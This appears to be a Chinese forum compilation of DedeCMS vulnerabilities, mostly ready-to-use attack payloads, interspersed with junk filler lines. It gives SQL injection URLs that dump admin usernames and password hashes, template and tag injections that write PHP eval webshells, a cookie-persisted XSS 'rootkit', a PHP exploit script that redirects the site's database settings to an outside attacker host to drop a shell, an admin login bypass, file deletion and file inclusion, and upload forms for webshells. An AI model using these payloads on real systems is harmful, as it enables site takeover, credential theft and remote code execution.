dedecms漏洞总结

admin

; B4 Y7 u7 e- {# ]Dedecms 5.6 rss注入漏洞
% s. G0 ]) \( V+ Phttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1


3 A/ R9 {9 W; D) Y
( p3 J8 |8 d( [/ D' l& Q



( }0 {# M" z( X6 B8 s
! a1 Z& Y5 _' \  b- o+ O% R. BDedeCms v5.6 嵌入恶意代码执行漏洞
; A' L: g, m" `; I" ~. Y注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
* |5 V3 g$ {8 h7 ya{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。
" }" Q; E; Q+ d
! t! m$ A! _& Y% E0 r( R
  [( b4 Y5 o) h
  [8 \5 c( D& j: j- |
' ?! n2 D1 Z+ Z. Y' q' K4 J


3 X2 j( c- z7 s( H$ h
Dede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
5 \1 V  _$ r# k; J" M0 u  `" |2 ~+ lhttp://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7




' u, u1 _' K( t* k; S

) u- @/ D* w% u2 l
+ |8 u: a" U( t/ {9 U
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`

. X3 E3 Z3 ~. L! ?9 F% r$ p4 p9 l
* B' f# ]# p0 L% T

2 Z0 Q6 [3 R6 s0 i

9 g9 a8 ?. w7 g* v' SDEDECMS 全版本 gotopage变量XSS漏洞
- S  J. Y% O# J% y6 k& H1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
4 r" b  ^- m7 _/ M' dhttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="


( u6 }% Z' r5 X2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
% u5 w5 a7 Y9 I+ _: p0 Qhttp://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
3 p4 o) ^4 I. U# ?1 g
! C5 I/ d/ T0 ~- X2 c0 E
http://v57.demo.dedecms.com/dede/login.php


color=Red]DeDeCMS(织梦)变量覆盖getshell
' }( {( G7 {$ Y# g, j#!usr/bin/php -w
1 Q* G8 t1 d7 {& ]4 n, e; h% r<?php
8 F) `: i- ]* X8 a, y9 herror_reporting(E_ERROR);
7 E+ w* P# j) pset_time_limit(0);
print_r('
" l% b6 e' ?) Q: ^  a, CDEDEcms Variable Coverage
! U% c( Y7 L7 z5 ^4 F/ d  _7 [' SExploit Author: www.heixiaozi.comwww.webvul.com
, a: T4 w$ ?1 |( `3 C);
6 Z$ _; B8 R4 ]+ @; e" ]' mecho "\r\n";
if($argv[2]==null){
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
0 P. z. z, g6 ]aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
5 U# i6 F, w  ^; W$ iExample:
php '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
2 C* [! }! `0 M$ {0 c* q');
exit;
9 F$ H4 z2 \% I4 r# b+ [}
$url=$argv[1];
8 t0 H& r& w- @( c% u$ m$aid=$argv[2];
; p: I( {2 g2 Q: X; D8 s8 y) O$path=$argv[3];
) }5 O! Z3 e, M# b$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
echo "
Exploit Success \n";
: P+ n' R' }( ]7 N) {/ H: G/ Fif($aid==1)echo "
8 k, P7 K, S+ NShell:".$url."/$path/data/cache/fuck.php\n" ;


6 Z( E5 ~7 Y* v6 k+ Tif($aid==2)echo "
( o+ Y8 h' X. {Shell:".$url."/$path/fuck.php\n" ;
+ ~! N: R- r4 V9 |( r

if($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";

" m, g( N$ v  m+ n! I  F. E! X/ Z4 P* u
, W& w, r5 W( C3 X2 X2 x* U, ^}else{
echo "
Exploit Failed \n";
}
  `0 @9 g* |9 B+ i  Qfunction Getshell($url,$aid,$path){
5 M9 O( U5 e6 c. H0 m/ @$id=$aid;
7 _$ ?7 Y2 B& c3 U' C$host=$url;
$port="80";
. V; B8 ?6 {4 q7 W6 t$ W$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
! |  ^9 P" W, U- i/ {7 g$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
9 g  ~  l; b5 B$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
/ V" G' D, w2 r1 l: _- ?5 Y, c$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
. w4 D+ W# L& g2 D( Y//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
2 m9 o9 p$ S6 [! Y4 D; l! r! C+ r$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
8 n6 a: k$ h8 j0 g$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
, G$ f, X" q* m  c: y$data .= $content."\r\n";
$ock=fsockopen($host,$port);
if (!$ock) {
echo "
No response from ".$host."\n";
}
  I- ~  G& |: y! Q) Afwrite($ock,$data);
. v: M- [' K. wwhile (!feof($ock)) {
. W& C& d% `& V2 v0 b2 H" m$exp=fgets($ock, 1024);
/ q2 {8 c- U9 C2 r& G& g& ]$ Nreturn $exp;
}
9 n3 X. q* |5 Q! X1 H, ~6 @}


?>
% u# I+ u0 Q2 R6 z
( k* J0 T" j: ~  b! V
% b2 d$ o+ j2 J% U2 {


- }5 B5 ~, V1 K5 J) G

- x4 @) m$ `$ C) s! {3 ~
7 s$ D" L" ?! f1 Q
% k7 b3 H* }: U% {* L6 n) L
5 l# b6 {) L+ m! g* k6 eDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root

' {2 Y2 |6 o; Z- T& c2 v6 V
把上面validate=dcug改为当前的验证码，即可直接进入网站后台


此漏洞的前提是必须得到后台路径才能实现

+ O/ }. X: J; Q3 n5 a4 {, g# n3 q4 u* V
- f1 w. u8 c( @' Q5 Y: @




9 f* u9 m7 v$ {; e9 Y  b% f

  o9 `% \% Y+ E" {1 }  K% }, [
Dedecms织梦 标签远程文件写入漏洞
前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');


再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
, Y8 |, H5 D+ ~* h4 U<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
6 ?4 Q8 h: x- t6 R<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
" `  n# q/ `* U! |<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
' B% H& f5 H5 ~5 n  [/ \<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
: q1 }9 q1 ]) i1 ~2 j7 Y<script>
2 @4 z; j" h& W" g7 h, `9 ]function addaction()
. S* h9 u/ M+ }% x7 K{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
1 `; j* ]. k5 P% L: I% B</script>

7 k/ b# X3 K  a# p


; a, f5 f, ]$ \% r8 Z7 U2 @



; v+ Q& a! d" d3 l0 u+ ?1 A  R

9 t9 [2 Q) Q) d+ J1 [* A; SDedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
! x3 j$ T( O9 ~5 H) P# Z注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
  D3 y& u( y6 N0 V9 ]5 x& q) muploads/userup/2/12OMX04-15A.jpg

* Q( O( m9 Q& d" @
* V& P5 ~9 C: L* [% @模板内容是（如果限制图片格式，加gif89a）：
; i! t* o3 o0 f9 `- G& G{dede:name runphp='yes'}
& F* i6 z/ o' I$ N1 T5 Q$fp = @fopen("1.php", 'a');
0 [- \" }$ C  P& X9 j' z6 S+ T, |@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
0 K9 @# Q! H- f5 K# _@fclose($fp);
{/dede:name}
1 f( l& n' V2 _* b+ K2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
* D2 G9 _8 H; ^% n<input type="hidden" name="aid" value="2" />
' k- g' g- `& |3 Z<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
! U- u0 c9 l( X8 Y<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />


<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>
+ P* I  X- k$ D+ b8 z) d8 B/ p" P
+ E! i- l4 b4 Y! y. K
<div class="postForm">
<label>标题：</label>
7 R3 C8 y, i! `2 H( I7 \<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>

# x# J1 V/ g( l  |' }. G
<label>标签TAG：</label>
: h3 k) c: c3 g  Z/ H+ v1 D<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
6 T% D, _& I1 T# ]# x7 j$ J; C

<label>作者：</label>
/ F- x6 z: V$ m<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
. ~' x. v! H# V; r
! T  W9 r4 M. ~1 Z: Q+ r% F) w8 n
<label>隶属栏目：</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
' S/ e" J- I4 N3 @& ^/ E</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)


. E$ r: U" T5 i$ W* R$ U3 F<label>我的分类：</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
# @2 {) `: e- w( N<option value='1' class='option3' selected>hahahha</option>
</select>

1 X& I% g. N4 j9 [" W2 {6 \' h
' g+ z9 Q% ^8 [6 o6 B1 T% t. Z, i<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
9 P  g+ g( l* @# w2 i4 F- D(内容的简要说明)
+ e- u! o: }( t5 u  E  n) `

<label>缩略图：</label>
. z- H6 J9 j+ E3 ]: |<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
5 c4 M* l5 i0 y% s7 A  r& D3 B
4 g, C/ x# J: O1 b) |" F# w4 s
& i% c; P, T* ^: a7 K<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
' ]" \, |" [( c; [7 Z1 a<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
</div>
5 _! C( w3 `( P* d% B7 ?/ E6 |, S

" W3 n: q! u- m$ I! B% f<!-- 表单操作区域 -->
& l$ w3 R( I# F, y+ Q* N- d<h3 class="meTitle">详细内容</h3>

9 Y4 R" _5 ^* n1 |
! a3 B8 A) g4 `, Y% J, `2 q5 D<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
. U$ B! \; O' C/ s8 R" Z
9 H0 N) ]8 ~! u$ M# x8 j2 u: t$ }
<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
# q" b' t7 p$ P<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
) c( F! p  l; @8 L$ D8 Q

9 l5 m' ~' ]( d8 b, j$ O; a<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset">重置</button>
</div>
: ^3 @8 x- u  z/ Q' F1 Y0 J
! o8 u5 C: l- E7 t: U. c
# F; D) s6 s$ I, K! n$ s  ]4 _</div>

( y; p6 T4 e& {9 s
7 C/ g6 C& p# C6 \+ J</form>

# R" \- B% h! M9 K9 [" D  _1 c
! K& I8 g$ S: e5 j7 \6 e提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
3 v+ c, x5 X" `- ]' c! yhttp://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php

9 X' p  o" ?/ w7 u' e
6 f1 f" n; R1 F% N, o
5 i" d/ H4 J: F, i5 G



% q9 i, C9 M* v7 u- Y
* ~: H6 L9 {9 Q( t9 p
+ s5 _3 _1 n. M/ y" R" L; U


DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
9 o- z0 F) T; f& i% {8 UGif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
* G+ ~+ E9 }( ^% E$ q{/dede:field}
保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
4 }0 S- V) z( T) h5 o9 R' O7 R<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
</form>

/ L) z/ ~! C, H. s! [
构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：

5 `  \1 N! ?. F2 U; V. P9 G' Z
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
% L2 V$ O$ w5 i0 Y6 @1 P<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
# K$ H% [/ T/ x1 F<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
$ j3 H) K) f* {) m/ |3 {8 l<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
4 w+ w1 U3 }& {2 [5 k. l<input type="hidden" name="sortrank" value="1282049150" />
/ n4 G4 q2 z5 \+ D/ ~' \<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
. V" _, }5 ^1 x+ d( \: r( s7 M3 S  Z<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
- o9 v6 [1 v, }' b<select name='typeid' size='1'>
' X) h8 h' X4 C( Q<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
! D) U3 D( @* j<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
& \; N% U. a* m: B2 t, f% F" k2 g<button class="button2" type="submit">提交</button>
</form>

4 K, B. M' _2 l* w+ v8 z# B
" ^9 a$ p* h1 m6 J6 _  z
& _1 W. [5 N! p1 \2 J  H& Y

3 @5 s6 T* K# g9 L3 P
6 B. ~) R5 W2 |) {

4 q! i$ F( K) \
( d8 E5 ?7 x0 {3 A! o8 d( v
% _+ M3 {0 C2 Q

/ U6 n2 y# H9 k1 k9 J织梦(Dedecms)V5.6 远程文件删除漏洞
* u" z$ C# s) \1 s: l; C" Nhttp://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif



/ h9 D) `9 x2 M; t- T

. Y9 A. ^# h4 C  R+ P2 V
( W8 w: A2 |  i" j
/ l: |8 d8 v' v6 H# X0 N' ~- R


; C+ A- p7 m' l; `* ^织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
& N1 X% k9 ^9 Fhttp://www.test.com/plus/carbuya ... urn&code=../../
& S$ R$ t, n  W$ P
6 k+ Z& t) x. r
) R9 j8 f  y; U* F( x

, @' M& K, G% n" s


' S* U: W" {* M; s

& _( H4 z3 @" M. T/ h
, R1 v& B9 h) n( N8 n0 TDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
$ {5 `6 ]$ e& Z* Z: T; q$ Rplus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
0 \# v) [3 w) D7 G8 [: T) Z密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5

  B! J$ N9 T( U8 Z6 R; I

5 T6 W4 m* O4 [
9 [2 }: k& |  S  W5 t. N



5 e) E0 ^6 f, ?- e
* N( {$ l! V- T3 C" f, b: g
织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
0 x$ P9 \" E6 X$ x+ _! ?/ u. {5 thttp://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
' S" ^+ H- A) G
! B  M( \8 @- L3 i' w# o6 F, f6 M


' B, D9 U( d1 E5 G0 `
+ Y" Q4 ~# f( d5 ~
/ c1 U4 K  q: r6 p
% h2 [& M8 h/ t+ A* a" n
, s* [# O" J* p4 P
2 ?7 }* D/ W5 ^6 ~! F  X9 N
& M( u7 x2 [7 _4 A织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
- `) ^9 i" I1 A: _: O5 s<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
( }" g& F6 Q! ?</head>
<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
9 D# B% u* W" V4 q5 a7 R# n( c<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
+ g+ F2 i+ j5 C6 v+ v9 x. a<input type='hidden' name='cfg_not_allowall' value='txt' />
$ k6 s' P9 k% L6 S% _# M" Q9 u- U<input type='hidden' name='cfg_softtype' value='php' />
! L- d# s# ~$ I  f  n; U  ]<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
) m% e6 N8 T& G6 X' |: e3 y# b; ]<input type='submit' name='sb1' value='确定' />
; M3 U9 @4 ~- d6 x; e% G</form>
4 n2 L9 S' M( u1 ?<br />It's just a exp for the bug of Dedecms V55...<br />
5 ?9 V* q9 F5 s2 i$ ?5 Y: W9 ~' k& C& aNeed register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
4 s- F) i" d; f" a( ?, m* h, n: K</html>


: }9 `; i5 O9 }! `$ g
3 k$ u6 E1 O& |7 g$ q
% n1 Y2 A, [7 o  r- `
: J* {0 c* v/ J2 d: M+ J
8 o( {% i- H3 ?, ~! U
* x4 R0 S$ [% S5 L/ G
4 n8 p) L, Y& W4 \
/ x. E! A; A+ I4 _1 [7 [: M
0 ?4 @2 H) N$ }. Q1 z织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
7 O& ], g" P+ \2 W' b; ghttp://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
. I# {% S1 n; y2 P可看见错误信息


2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
5 ~4 r) K( K$ ]( Y8 \, K6 VError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>

" R& G9 k0 o, P* D* J2 M; M/ {2 f
' v1 s% ~5 {; [: w  [3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是

1 a' w4 ]& n2 U2 m7 i
<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
. {0 \/ R* V  d" c4 B) A$ F
- D! G5 s' S) d# q( j
9 {. u& k) C- G% w% G按确定后的看到第2步骤的信息表示文件木马上传成功.
5 D6 c1 L% r3 w" R& F5 x: G) F
" W! G/ |6 B# C






# x* i' e# T- F( m$ l) n% R

5 _) h) f  w8 {8 q: n" m
+ M/ t2 o9 `$ u5 N0 t" e1 ~
织梦(DedeCms)plus/infosearch.php 文件注入漏洞
- Y/ }/ j& h7 S$ `4 ?http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*